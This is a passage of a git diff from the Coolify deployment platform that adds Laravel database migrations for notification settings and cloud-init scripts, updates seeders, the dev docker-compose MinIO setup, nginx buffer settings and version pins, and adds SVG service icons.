+            $table->dropColumn('telegram_notifications_traefik_outdated_thread_id');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_14_114632_add_traefik_outdated_info_to_servers_table.php b/database/migrations/2025_11_14_114632_add_traefik_outdated_info_to_servers_table.php
new file mode 100644
index 000000000..99e10707d
--- /dev/null
+++ b/database/migrations/2025_11_14_114632_add_traefik_outdated_info_to_servers_table.php
@@ -0,0 +1,28 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('servers', function (Blueprint $table) {
+            $table->json('traefik_outdated_info')->nullable();
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('servers', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_info');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_16_000001_create_webhook_notification_settings_table.php b/database/migrations/2025_11_16_000001_create_webhook_notification_settings_table.php
new file mode 100644
index 000000000..9e9a6303f
--- /dev/null
+++ b/database/migrations/2025_11_16_000001_create_webhook_notification_settings_table.php
@@ -0,0 +1,88 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        // Create table if it doesn't exist
+        if (! Schema::hasTable('webhook_notification_settings')) {
+            Schema::create('webhook_notification_settings', function (Blueprint $table) {
+                $table->id();
+                $table->foreignId('team_id')->constrained()->cascadeOnDelete();
+
+                $table->boolean('webhook_enabled')->default(false);
+                $table->text('webhook_url')->nullable();
+
+                $table->boolean('deployment_success_webhook_notifications')->default(false);
+                $table->boolean('deployment_failure_webhook_notifications')->default(true);
+                $table->boolean('status_change_webhook_notifications')->default(false);
+                $table->boolean('backup_success_webhook_notifications')->default(false);
+                $table->boolean('backup_failure_webhook_notifications')->default(true);
+                $table->boolean('scheduled_task_success_webhook_notifications')->default(false);
+                $table->boolean('scheduled_task_failure_webhook_notifications')->default(true);
+                $table->boolean('docker_cleanup_success_webhook_notifications')->default(false);
+                $table->boolean('docker_cleanup_failure_webhook_notifications')->default(true);
+                $table->boolean('server_disk_usage_webhook_notifications')->default(true);
+                $table->boolean('server_reachable_webhook_notifications')->default(false);
+                $table->boolean('server_unreachable_webhook_notifications')->default(true);
+                $table->boolean('server_patch_webhook_notifications')->default(false);
+
+                $table->unique(['team_id']);
+            });
+        }
+
+        // Populate webhook notification settings for existing teams (only if they don't already have settings)
+        DB::table('teams')->chunkById(100, function ($teams) {
+            foreach ($teams as $team) {
+                try {
+                    // Check if settings already exist for this team
+                    $exists = DB::table('webhook_notification_settings')
+                        ->where('team_id', $team->id)
+                        ->exists();
+
+                    if (! $exists) {
+                        // Only insert if no settings exist - don't overwrite existing preferences
+                        DB::table('webhook_notification_settings')->insert([
+                            'team_id' => $team->id,
+                            'webhook_enabled' => false,
+                            'webhook_url' => null,
+                            'deployment_success_webhook_notifications' => false,
+                            'deployment_failure_webhook_notifications' => true,
+                            'status_change_webhook_notifications' => false,
+                            'backup_success_webhook_notifications' => false,
+                            'backup_failure_webhook_notifications' => true,
+                            'scheduled_task_success_webhook_notifications' => false,
+                            'scheduled_task_failure_webhook_notifications' => true,
+                            'docker_cleanup_success_webhook_notifications' => false,
+                            'docker_cleanup_failure_webhook_notifications' => true,
+                            'server_disk_usage_webhook_notifications' => true,
+                            'server_reachable_webhook_notifications' => false,
+                            'server_unreachable_webhook_notifications' => true,
+                            'server_patch_webhook_notifications' => false,
+                            'traefik_outdated_webhook_notifications' => true,
+                        ]);
+                    }
+                } catch (\Throwable $e) {
+                    Log::error('Error creating webhook notification settings for team '.$team->id.': '.$e->getMessage());
+                }
+            }
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::dropIfExists('webhook_notification_settings');
+    }
+};
diff --git a/database/migrations/2025_11_16_000002_create_cloud_init_scripts_table.php b/database/migrations/2025_11_16_000002_create_cloud_init_scripts_table.php
new file mode 100644
index 000000000..11c5b99a3
--- /dev/null
+++ b/database/migrations/2025_11_16_000002_create_cloud_init_scripts_table.php
@@ -0,0 +1,33 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        // Create table if it doesn't exist
+        if (! Schema::hasTable('cloud_init_scripts')) {
+            Schema::create('cloud_init_scripts', function (Blueprint $table) {
+                $table->id();
+                $table->foreignId('team_id')->constrained()->cascadeOnDelete();
+                $table->string('name');
+                $table->text('script'); // Encrypted in the model
+                $table->timestamps();
+            });
+        }
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::dropIfExists('cloud_init_scripts');
+    }
+};
diff --git a/database/migrations/2025_11_17_092707_add_traefik_outdated_to_notification_settings.php b/database/migrations/2025_11_17_092707_add_traefik_outdated_to_notification_settings.php
new file mode 100644
index 000000000..b5cad28b0
--- /dev/null
+++ b/database/migrations/2025_11_17_092707_add_traefik_outdated_to_notification_settings.php
@@ -0,0 +1,60 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        Schema::table('discord_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_discord_notifications')->default(true);
+        });
+
+        Schema::table('slack_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_slack_notifications')->default(true);
+        });
+
+        Schema::table('webhook_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_webhook_notifications')->default(true);
+        });
+
+        Schema::table('telegram_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_telegram_notifications')->default(true);
+        });
+
+        Schema::table('pushover_notification_settings', function (Blueprint $table) {
+            $table->boolean('traefik_outdated_pushover_notifications')->default(true);
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        Schema::table('discord_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_discord_notifications');
+        });
+
+        Schema::table('slack_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_slack_notifications');
+        });
+
+        Schema::table('webhook_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_webhook_notifications');
+        });
+
+        Schema::table('telegram_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_telegram_notifications');
+        });
+
+        Schema::table('pushover_notification_settings', function (Blueprint $table) {
+            $table->dropColumn('traefik_outdated_pushover_notifications');
+        });
+    }
+};
diff --git a/database/migrations/2025_11_18_083747_cleanup_dockerfile_data_for_non_dockerfile_buildpacks.php b/database/migrations/2025_11_18_083747_cleanup_dockerfile_data_for_non_dockerfile_buildpacks.php
new file mode 100644
index 000000000..959662cd5
--- /dev/null
+++ b/database/migrations/2025_11_18_083747_cleanup_dockerfile_data_for_non_dockerfile_buildpacks.php
@@ -0,0 +1,31 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Support\Facades\DB;
+
+return new class extends Migration
+{
+    /**
+     * Run the migrations.
+     */
+    public function up(): void
+    {
+        // Clear dockerfile fields for applications not using dockerfile buildpack
+        DB::table('applications')
+            ->where('build_pack', '!=', 'dockerfile')
+            ->update([
+                'dockerfile' => null,
+                'dockerfile_location' => null,
+                'dockerfile_target_build' => null,
+                'custom_healthcheck_found' => false,
+            ]);
+    }
+
+    /**
+     * Reverse the migrations.
+     */
+    public function down(): void
+    {
+        // No rollback needed - we're cleaning up corrupt data
+    }
+};
diff --git a/database/seeders/ProductionSeeder.php b/database/seeders/ProductionSeeder.php
index adada458e..511af1a9f 100644
--- a/database/seeders/ProductionSeeder.php
+++ b/database/seeders/ProductionSeeder.php
@@ -113,6 +113,8 @@ public function run(): void
                 $server_details['proxy'] = ServerMetadata::from([
                     'type' => ProxyTypes::TRAEFIK->value,
                     'status' => ProxyStatus::EXITED->value,
+                    'last_saved_settings' => null,
+                    'last_applied_settings' => null,
                 ]);
                 $server = Server::create($server_details);
                 $server->settings->is_reachable = true;
@@ -177,6 +179,8 @@ public function run(): void
                 $server_details['proxy'] = ServerMetadata::from([
                     'type' => ProxyTypes::TRAEFIK->value,
                     'status' => ProxyStatus::EXITED->value,
+                    'last_saved_settings' => null,
+                    'last_applied_settings' => null,
                 ]);
                 $server = Server::create($server_details);
                 $server->settings->is_reachable = true;
diff --git a/database/seeders/S3StorageSeeder.php b/database/seeders/S3StorageSeeder.php
index de7cef6dc..9fa531447 100644
--- a/database/seeders/S3StorageSeeder.php
+++ b/database/seeders/S3StorageSeeder.php
@@ -20,6 +20,7 @@ public function run(): void
             'bucket' => 'local',
             'endpoint' => 'http://coolify-minio:9000',
             'team_id' => 0,
+            'is_usable' => true,
         ]);
     }
 }
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d76c91aa2..4f41f1c63 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -118,6 +118,26 @@ services:
       - dev_minio_data:/data
     networks:
       - coolify
+  minio-init:
+    image: minio/mc:latest
+    pull_policy: always
+    container_name: coolify-minio-init
+    restart: no
+    depends_on:
+      - minio
+    entrypoint: >
+      /bin/sh -c "
+      echo 'Waiting for MinIO to be ready...';
+      until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do
+        echo 'MinIO not ready yet, waiting...';
+        sleep 2;
+      done;
+      echo 'MinIO is ready, creating bucket if needed...';
+      mc mb local/local --ignore-existing;
+      echo 'MinIO initialization complete - bucket local is ready';
+      "
+    networks:
+      - coolify
 
 volumes:
   dev_backups_data:
diff --git a/docker/coolify-helper/Dockerfile b/docker/coolify-helper/Dockerfile
index 212703798..14879eb96 100644
--- a/docker/coolify-helper/Dockerfile
+++ b/docker/coolify-helper/Dockerfile
@@ -10,7 +10,7 @@ ARG DOCKER_BUILDX_VERSION=0.25.0
 # https://github.com/buildpacks/pack/releases
 ARG PACK_VERSION=0.38.2
 # https://github.com/railwayapp/nixpacks/releases
-ARG NIXPACKS_VERSION=1.40.0
+ARG NIXPACKS_VERSION=1.41.0
 # https://github.com/minio/mc/releases
 ARG MINIO_VERSION=RELEASE.2025-08-13T08-35-41Z
 
diff --git a/docker/development/etc/nginx/site-opts.d/http.conf b/docker/development/etc/nginx/site-opts.d/http.conf
index a5bbd78a3..d7855ae80 100644
--- a/docker/development/etc/nginx/site-opts.d/http.conf
+++ b/docker/development/etc/nginx/site-opts.d/http.conf
@@ -13,6 +13,9 @@ charset utf-8;
 # Set max upload to 2048M
 client_max_body_size 2048M;
 
+# Set client body buffer to handle Sentinel payloads in memory
+client_body_buffer_size 256k;
+
 # Healthchecks: Set /healthcheck to be the healthcheck URL
 location /healthcheck {
     access_log off;
diff --git a/docker/production/etc/nginx/site-opts.d/http.conf b/docker/production/etc/nginx/site-opts.d/http.conf
index a5bbd78a3..d7855ae80 100644
--- a/docker/production/etc/nginx/site-opts.d/http.conf
+++ b/docker/production/etc/nginx/site-opts.d/http.conf
@@ -13,6 +13,9 @@ charset utf-8;
 # Set max upload to 2048M
 client_max_body_size 2048M;
 
+# Set client body buffer to handle Sentinel payloads in memory
+client_body_buffer_size 256k;
+
 # Healthchecks: Set /healthcheck to be the healthcheck URL
 location /healthcheck {
     access_log off;
diff --git a/gcool.json b/gcool.json
deleted file mode 100644
index 629d8569a..000000000
--- a/gcool.json
+++ /dev/null
@@ -1,6 +0,0 @@
-{
-  "scripts": {
-    "onWorktreeCreate": "cp $GCOOL_ROOT_PATH/.env .",
-    "run": "docker rm -f coolify coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite && spin up"
-  }
-}
diff --git a/jean.json b/jean.json
new file mode 100644
index 000000000..4e5c788ed
--- /dev/null
+++ b/jean.json
@@ -0,0 +1,5 @@
+{
+  "scripts": {
+    "setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json"
+  }
+}
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 2e5cc5e84..e946d3bb6 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,19 +1,29 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.435"
+            "version": "4.0.0-beta.448"
         },
         "nightly": {
-            "version": "4.0.0-beta.436"
+            "version": "4.0.0-beta.449"
         },
         "helper": {
-            "version": "1.0.11"
+            "version": "1.0.12"
         },
         "realtime": {
             "version": "1.0.10"
         },
         "sentinel": {
-            "version": "0.0.16"
+            "version": "0.0.18"
         }
+    },
+    "traefik": {
+        "v3.6": "3.6.1",
+        "v3.5": "3.5.6",
+        "v3.4": "3.4.5",
+        "v3.3": "3.3.7",
+        "v3.2": "3.2.5",
+        "v3.1": "3.1.7",
+        "v3.0": "3.0.4",
+        "v2.11": "2.11.31"
     }
 }
\ No newline at end of file
diff --git a/package-lock.json b/package-lock.json
index 9e8fe7328..b076800e6 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -2664,11 +2664,11 @@
             }
         },
         "node_modules/tar": {
-            "version": "7.5.1",
-            "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.1.tgz",
-            "integrity": "sha512-nlGpxf+hv0v7GkWBK2V9spgactGOp0qvfWRxUMjqHyzrt3SgwE48DIv/FhqPHJYLHpgW1opq3nERbz5Anq7n1g==",
+            "version": "7.5.2",
+            "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.2.tgz",
+            "integrity": "sha512-7NyxrTE4Anh8km8iEy7o0QYPs+0JKBTj5ZaqHg6B39erLg0qYXN3BijtShwbsNSvQ+LN75+KV+C4QR/f6Gwnpg==",
             "dev": true,
-            "license": "ISC",
+            "license": "BlueOak-1.0.0",
             "dependencies": {
                 "@isaacs/fs-minipass": "^4.0.0",
                 "chownr": "^3.0.0",
diff --git a/public/svgs/opnform.svg b/public/svgs/opnform.svg
new file mode 100644
index 000000000..70562a4bf
--- /dev/null
+++ b/public/svgs/opnform.svg
@@ -0,0 +1 @@
+<svg fill="none" height="120" viewBox="0 0 120 120" width="120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientUnits="userSpaceOnUse" x1="60" x2="60" y1="2" y2="118.352"><stop offset="0" stop-color="#2563eb"/><stop offset="1" stop-color="#60a5fa"/></linearGradient><path clip-rule="evenodd" d="m80.6502 118.352c22.9638-8.418 39.3498-30.4712 39.3498-56.352 0-33.1371-26.8629-60-60-60s-60 26.8629-60 60c0 25.8808 16.3862 47.934 39.3498 56.352l16.631-38.9411c-7.4746-1.9924-12.9808-8.8086-12.9808-16.9109 0-9.665 7.835-17.5 17.5-17.5s17.5 7.835 17.5 17.5c0 8.4269-5.9563 15.4627-13.8885 17.1269z" fill="url(#a)" fill-rule="evenodd"/></svg>
\ No newline at end of file
diff --git a/public/svgs/palworld.svg b/public/svgs/palworld.svg
new file mode 100644
index 000000000..f5fff5bc8
--- /dev/null
+++ b/public/svgs/palworld.svg
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Generator: Adobe Illustrator 25.4.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" viewBox="0 0 2492.7 661.9" style="enable-background:new 0 0 2492.7 661.9;" xml:space="preserve">
+<g>
+	<path d="M1250.6,661.9c-9.6-9.4-19.2-18.7-28.7-27.9c10.4-10.4,20-19.9,29.5-29.4c9.1,9.3,18.6,19,28.6,29.3   c-7.3,7.2-15.2,15-23,22.8c-1.6,1.6-3,3.5-4.5,5.2C1252,661.9,1251.3,661.9,1250.6,661.9z M1233.2,632.7c6.1,6.2,12.4,12.7,18.6,19   c6.1-6.1,12.5-12.4,18.7-18.6c-6.4-6.5-12.7-12.9-18.8-19.1C1245.4,620.3,1239.1,626.7,1233.2,632.7z"></path>
+	<path d="M859.3,245.1c4.9,0,9,0,13.1,0c22.8,0,45.7-0.1,68.5,0.1c2.2,0,4.7,1.1,6.6,2.4c4.3,2.9,8.3,2.7,12.2-1   c0.7-0.7,1.8-1.4,2.8-1.4c6.5-0.1,13-0.1,19.7-0.1c-1.7,6.1-3.6,11.7-4.7,17.5c-2.8,13.7-0.3,27.1,2.3,40.5   c2.2,11.6,4.9,23.1,6.3,34.7c0.7,5.3-1.1,11-1.8,16.7c3.9,0.3,5.5,3.5,6.2,7.3c3.1,16.2,6.1,32.3,9,48.5c0.3,1.8,0.5,4.3-0.4,5.5   c-2.5,3.1-2.2,5.9-0.4,8.9c0.5,0.8,1.2,1.4,1.8,2.1c0.7-0.8,1.8-1.4,2.1-2.3c4.8-15.5,9.4-31,14.2-46.5c4-13.1,8-26.1,12.2-39.1   c0.4-1.1,1.9-2.6,2.9-2.6c5.1-0.2,10.4-2.7,15.4,0.6c0.4,0.3,1.3,0,1.9-0.1c0.3-0.1,0.5-0.4,1.6-1.5c-3.8-5.3-7.6-11-11.8-16.2   c-1.9-2.3-2.7-4.1-1.7-7.1c6-18.8,11.7-37.6,17.8-56.4c1-3,3.3-5.6,5.1-8.4c0.5,0.2,1,0.3,1.4,0.5c3.6,11.5,7.2,23.1,10.9,34.6   c8.4,26.5,16.7,53.1,25.3,79.5c1.9,5.7,3.2,10.6-3,14.4c-1.3,0.8-2.2,2.4-3.2,3.6c0.3,0.5,0.5,1,0.6,1c9.4-0.7,13.4,4.5,15.5,13   c2.6,10.4,6.2,20.6,10.2,30.9c0.9-4.9,1.9-9.8,2.7-14.7c3.3-19.1,6.6-38.2,9.8-57.3c3.2-19.7,6.5-39.3,9.3-59.1   c1.9-13.8,2.5-27.8-1.9-41.4c-0.8-2.4,3.6-7.1,6.6-7.1c26.2,0,52.3,0,78.5,0.1c3.9,0,6.8,2,6.3,7.9c3.5-2.4,6-5.1,9.1-6.1   c3.9-1.2,8.2-1.2,12.4-1.2c0.3,0,1.6,3.8,1,4.7c-10.6,15.4-16.3,32.9-20.5,50.9c-1.5,6.4-2.9,12.5-7.5,17.5c-0.5,0.6-1,1.9-0.8,2.2   c5.2,5.2,0.9,10.3-0.3,15.3c-5.5,24-11.2,48-17.4,71.8c-1.1,4.3-5.5,7.5-7.8,11.6c-2.9,5.2-8.2,7-13.2,9.9c3,2.5,5.7,4.2,7.8,6.6   c3.5,4,4.5,8.9,3,14c-3.2,11.1-6.5,22.2-9.6,33.4c-0.5,1.9-0.9,3.9-0.8,5.8c0.2,3.4-0.4,6.2-3.4,8.3c-0.7,0.5-1.5,1.6-1.6,2.4   c-0.1,6.4-0.1,12.6-2.6,18.9c-2.2,5.6-1.9,12.2-3.1,18.2c-1.1,5.7-2.6,11.3-4.3,16.9c-0.7,2.3-1.8,6-3.3,6.3   c-4.5,0.9-9.4,1.2-12.7-3.3c-1-1.4-2.1-2.8-3.8-5c1.4,7.7,0.5,8.7-6.5,8.7c-15,0-30-0.1-45,0.1c-4.1,0-6-1.2-5.2-3.7   c-2.6-2.8-5.5-4.5-6.1-6.9c-3.4-11.8-6.6-23.8-8.9-35.9c-0.6-3.2,2.5-7,4.1-11.2c0.2,0.5,0.1,0,0,0c-10-1.7-9.6-10.4-11.4-17.3   c-3.7-14.1-6.9-28.3-10.4-42.4c0-0.2-0.5-0.3-1.3-0.8c-2.5,10.7-5.1,21.3-7.5,31.9c-6.3,27.2-12.5,54.3-18.6,81.5   c-0.8,3.5-1.9,5.1-5.9,4.8c-4.8-0.4-9.9,0.8-14.4-0.3s-8.3-0.4-12.6-0.1c-15.4,1.1-30.9,0.4-46.9,0.4c-2.2-8.4-4.4-16.7-6.5-24.9   c-4.4-16.8-8.7-33.7-13.2-50.5c-0.8-3.1-1.8-6,2.2-8.2c-9.4-7.4-8.8-18.9-11.7-28.7c-6.8-23.5-12.6-47.2-18.7-70.9   c-5.6-21.6-11-43.3-16.6-64.9c-1.6-6.4-3.7-12.6-5.3-19c-0.9-3.9-3.1-7.3-0.4-12c1.7-3.1-0.1-8.3-0.6-12.5   c-0.1-0.5-1.5-1.1-2.4-1.3c-5.2-1.3-8.6-4.4-11.2-9.1C866.2,254.2,862.8,250.1,859.3,245.1z"></path>
+	<path d="M186.1,0c-13,28.3-23.1,57.4-27.8,89c3.9-4.4,7-8.7,10.9-12.1s8.6-5.9,13-8.9c0.5,0.3,0.9,0.6,1.4,1   c-1.1,3.1-1.8,6.5-3.4,9.2c-7.6,12.6-12.1,26.1-13.5,40.7c-0.3,3.3,0.5,6.6,0.5,9.9c0,2.6-0.3,5.2-0.5,7.7c-0.1,0.8-0.3,1.8,0,2.5   c3.4,5.7,6.4,11.7,10.4,17c3.4,4.4,7.9,8,11.9,11.9c2.5,2.4,5,4.9,7.6,7.3c0.8,0.7,2,0.9,3.1,1.1c6.3,0.8,12.6,1.5,18.8,2.2   c3,0.3,5.9,0.7,8.9,0.8c18.1,0.4,36.3,0,54.4,1.1c30.4,1.8,59.9,7.6,86.2,24.3c3.1,2,5.9,4.3,8.8,6.5c2.7,2.1,4.9,4.2,2.1,7.9   c-0.4,0.5-0.6,1.8-0.2,2.3c1,1.7,2.7,3.1,3.4,5c0.6,1.8,0.3,3.9,0.4,5.6c2.3,0.4,4.5,0.8,7.7,1.3c2.8-1.7,6-1.2,7.7,3.3   c3.8,10.1,8.1,20.1,9.9,30.6c3.7,21.3,1,42.2-7.2,62.4c-9.2,22.6-25.1,39.3-45.8,51.5c-15.9,9.4-33.2,15.4-51.5,17.8   c-2.1,0.3-4.7-1.1-6.6-2.5c-2.5-1.7-4.5-4.1-7.5-7c0.7,2.8,0.9,4.6,1.6,6.2c1.4,3.6-0.4,5.2-3.5,5.3c-10.5,0.3-20.9,0.6-31.4,0.4   c-3.1-0.1-3.4,1.2-3.3,3.4c0.2,5.3,0.6,10.6,0.6,15.8c0.1,29.5-0.2,59,0.3,88.5c0.2,10,2.3,20.1,3.4,30.1c0.3,2.7,0.3,5.5,0.3,8.3   c0,1.5-0.3,3,0.6,4.8c1.1-1.5,2.2-3,3.8-5c3,4.4,5.8,8.6,9.2,13.6c-5.2,0-9.6,0-14,0c-7.7,0-15.3,0.3-23-0.1   c-2.5-0.1-4.9-1.8-7.4-2.6c-1.1-0.3-2.3-0.5-3.4-0.3c-6,0.9-11.9,2.8-17.9,2.9c-25.7,0.3-51.3,0.1-77,0.1c-8.4,0-8.7-0.4-7.4-8.9   c-1.1,0.9-2.2,1.4-2.7,2.2c-3.2,6.4-8.7,7.2-15.1,6.7c-5.6-0.4-11.3-0.1-16.9-0.1c-0.3-0.5-0.5-0.9-0.8-1.4c1.1-0.9,2-2.1,3.3-2.8   c3.1-1.6,7-2.4,9.5-4.7c14.4-13.2,28.1-27.2,35.3-46c4.5-11.7,8.7-23.5,12.2-35.5c1.4-4.8,3.4-6.8,8.2-6.6c1.3,0.1,2.7-0.6,4-0.9   c-0.5-0.3-1-0.7-1.5-1c0.8-2.8,1.3-5.6,2.3-8.3c0.6-1.5,1.8-2.7,2.9-3.9c7.2-7.4,7.2-7.4,0.2-14.5c-6-6-7.4-13.5-6.7-21.6   c1-11.5,2-23.1,2.8-34.6c0.6-8.5,1-16.9,0.9-25.4c-0.1-15.3-0.1-30.6-1.1-45.9c-1.3-19.9-1.6-40-6.9-59.4c-0.2-0.7-0.4-1.7-0.2-2.3   c3.2-7.7,10.6-11.6,18.3-9.3c-2.8-5.8-5.6-10.7-12.5-12.2c-3-0.6-5.6-3.2-8.3-4.9c-3.3-2-6.6-4-9.8-6.1c-1.4-0.9-2.9-1.7-3.8-2.9   c-2.6-3.2-4.9-6.6-7.3-10c-0.4-0.6-1.1-1.7-0.9-2.1c3-5.3-1.9-5.1-4.4-6.6c-2-1.2-4.1-2.4-5.7-4c-8.3-8.6-19.4-12.5-29.5-18.1   c-19.3-10.8-37.5-23-52.9-39c-15.1-15.6-26.3-33.6-31.3-55c-0.5-2.3-2.9-5.1,1.1-7.4c0.7-0.4-0.7-5.2-1.7-7.7   c-2.9-6.9-1.5-25.6,1.9-31c3.4,10.8,5.9,23,11,34c6.2,13.3,14.7,25.5,22.1,38.2c2.9,4.9,5.5,10,8.2,15c1.8-1.9,3.8-1.1,6.4,1.5   c5.2,5.1,10.9,9.7,16.5,14.4c1.2,1,2.7,1.7,3.3,2c3.5-9.4,6.7-18.5,10.5-27.4c1.3-3,4.4-5.2,6.2-8.1c2.1-3.4,3.5-7.3,5.7-10.6   c2.6-3.9,5.8-7.4,9.8-10.5c-1.4,3.9-3,7.7-4,11.6c-2.6,9.3-4.1,18.9-7.5,27.9c-2.8,7.4-2.1,14.5-2.3,21.9c-0.1,4.4,1.3,6.8,5.4,8.8   c16.1,7.9,32.1,16.2,48.1,24.4c1,0.5,2,0.9,2.8,1.3c-2.7-8.8-5.7-17.6-8-26.5c-3.4-13.1-3.2-26.4-1.2-39.8   c5.8-39.4,24.2-73,47.3-104.5C184.4,2,185.3,1,186.1,0z M249.9,277.5c-2-0.6-3.4-1.1-3.9-1.2c1.4,7.5,3.7,15,3.9,22.5   c0.6,19.6,0.5,39.3,0.1,59c-0.1,5.8-2,11.6-3,17.3c-0.2,0.9,0,1.8,0,2.9c3.7-2.4,6.8-5.7,10.5-6.7c17-4.8,29.8-15.4,41.3-28.1   c2.7-2.9,4.9-5.9,8.1-4c0.2-2.4-0.5-5.5,0.7-7.3c13.3-19.3,18.1-40.1,10.9-62.9c-4.2-13.5-12.9-23.3-26-29.4   c-12.3-5.8-25.4-6.3-38.5-7.8c-3.5-0.4-4.6,1.1-4.5,4.6c0.3,12,0.4,24,0.5,35.9C250.1,274,250,275.6,249.9,277.5z"></path>
+	<path d="M2135.9,560.4c0.6-4.2,0.3-8.5,1.9-11.9c5.3-11.2,7.8-22.9,6.8-35.1c-0.8-10.1,2.1-19.2,5.5-28.3c2-5.4,4-10.6,8.2-14.9   c2.3-2.4,2.9-6.3,4.8-10.9c-5.1,1.1-9.2,1.6-13.1,2.9c-4.3,1.5-5.3,0.1-5.3-4c0.1-36.2-0.2-72.3,0.2-108.5   c0.1-6.5,3.1-12.9,4.8-19.3c0.3-1.4,1-3.2,0.4-4.1c-5.3-7.9-5.8-16.7-5.4-25.6c0.7-14.1-0.7-27.8-7.2-40.6   c-2.4-4.8-5.3-9.4-8.2-14.6c1.2-0.2,2.1-0.4,3-0.4c13.8,0,27.7,0.2,41.5,0.1c6.6-0.1,11.8,2.6,16.7,6.6c4.4,3.6,8.7,7.3,13.2,10.8   c0.5,0.4,1.5,0.3,2.8,0.4c0-5.9,0-11.5,0-17.3c1.5-0.2,2.6-0.5,3.7-0.5c15.3,0,30.7-0.6,46,0.2c26.2,1.3,50.3,9.3,72.2,24.1   c13,8.8,24.1,19.3,33.7,31.5c4.7,6,4.7,13.1,0.4,19.5c-0.4,0.6-0.5,1.4-1.1,3c4.4-2.4,6.9-2.2,11.2,0.6   c12.7,8.3,13.3,22.1,17.1,34.2c5.2,16.6,6.2,33.9,5.6,51.3c-0.1,3.9-1.3,6.7-5.6,6.7c0.9,4.3,2.7,8.5,2.6,12.6   c-0.4,9-1.1,18.1-2.8,26.9c-2.9,15.4-6.7,30.7-9.7,46.1c-1.9,10.1,0.5,19,7.5,27.2c19.5,22.6,55.6,22.8,75.6,7.5   c7.5-5.7,11.5-13.8,14.6-22.5c4.9-13.5,2.3-26.6-1.8-40.6c-7.3,7.3-15.1,9.9-23.9,4.4c-6-3.7-9.5-9.2-11.4-16.3c3.3,0.7,6,1.2,10,2   c-4.3-5.5-8.2-9.6-11-14.3c-3-5.2-5-11.1-7.4-16.7c-0.3-0.7-0.7-1.9-0.3-2.4c3.5-4.8-1-8.2-1.7-12.3c-1.1-6.4-0.3-13.2-0.3-20.3   c1,0.5,2.1,0.7,2.5,1.3c7.3,10.4,18.1,14.6,29.8,17.4c8,1.9,14.1,6.7,18.7,13.3c1.2,1.8,1.3,4.3,2.2,7.8c4,2.9,5,13.4,0.5,21.1   c-12-12.5-19.8-16.9-29.6-16.2c3.5,2.2,6.4,3.9,9.1,5.9c24.8,19.2,34.9,49.4,26.7,79.7c-5.9,21.8-20.4,36-40.2,45.7   c-13.7,6.8-28.2,10.8-43.4,10.9c-19.7,0-37.2-6.5-51.7-20.2c-1.2-1.1-1-3.6-1.7-6.2c-10.4-1.3-13.5-10.9-17.5-19.1   c-3.5-7.2-2.9-7.5-4.6-8.5c-0.8,5.7-0.8,5.6-6.4,9.2c-12.1,7.7-24.9,14-39.1,16.1c-6.3,0.9-13.1-1.7-19.6-2.8   c-1.8-0.3-3.7-0.8-5.9-0.3c2.9,1.9,5.8,3.7,9.1,5.9C2261.2,561.3,2162.7,562.6,2135.9,560.4z M2211.9,392.3   c0.1,0.5,0.2,0.9,0.3,1.4c1.9,1.4,3.9,2.7,5.6,4.3c3.1,2.9,5.7,6.4,9.1,8.9c4.4,3.3,6.5,7.1,6.4,12.6c-0.1,26.8,0,53.6,0,80.4   